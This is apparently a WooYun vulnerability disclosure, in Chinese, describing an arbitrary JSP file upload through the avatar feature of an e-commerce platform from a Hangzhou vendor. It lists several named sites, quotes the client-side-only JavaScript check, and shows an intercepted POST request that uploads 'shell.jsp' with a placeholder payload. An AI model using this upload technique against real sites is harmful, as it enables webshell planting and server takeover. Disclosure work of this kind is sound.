WooYun.org

杭州珍诚网络科技有限公司  http://www.zc511.com/showIndex.do

http://www.ewj2009.com/
http://www.nbzyyy.com/
http://wzyst.net/
http://www.yizheng.cc/
http://www.zjrrt.com/

注册用户后登陆修改基本资料的头像上传处仅仅在本地进行了Javascrip校验，服务端没有校验文件上传的类型。
注册会员---登录——基本资料修改——上传JPG头像——抓包修改为JSP——任意文件被上传
<script>
function uploadImg(value){
	document.getElementById('textfield').value=value;
	testviewpic("showImg","textfield");
}
	function testviewpic(m,im) 
		{ 
		var mypic = document.getElementById(m);
		var imgfilepath = document.getElementById(im)
		var oldSrc = mypic.src;
		 var myflag=0; //进行筛选的图片的扩展名 
		 var aa = ".gif|.jpg|.jpeg|.bmp|.png"; //分离出可以通过的图片扩展名
		 var bb = aa.split('|'); //进行循环判断，路经是否为图片 
		 for(var i=0;i<bb.length;i++)
		 { 
		  //检索路径是否含有指定图片的扩展名
		  var cc = imgfilepath.value.toLowerCase().indexOf(bb[i]); 
		  if (cc > 0)
		  {
		   //当图片的路经中含有指定的扩展名时，对状态进行赋值 
		   myflag=1; mypic.src=imgfilepath.value; mypic.style.display=""; mypic.border=1; break; 
		  } 
		 } 
		 //如果状态为错误，弹出信息框 
		 if(myflag == 0) 
		 { 
		  alert("请选择图片文件"); //清除上传框的路径值 
		  imgfilepath.outerHTML = imgfilepath.outerHTML; imgfilepath.value=""; mypic.src=oldSrc;  
		  document.getElementById("theFile").value="";
		 } 
	} 
	function fclick(){
		$("#theFile").click();
	}
</script>

POST /updateUserInfo.do HTTP/1.1
Host: www.****.cn
Proxy-Connection: keep-alive
Content-Length: 6111
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.****.cn
User-Agent: ************
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYVYCBNAmsZCHFNFR
Referer: http://www.*****.cn/getUserInfo.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: *********
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="textfield"
C:\fakepath\shell.jpg
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="theFile"; filename="shell.jsp"  //这里的类型可被随意控制
Content-Type: image/jpeg
shellcode
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userName"
test
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userNickName"
test
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userAddress"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="postCode"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="mobile"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR--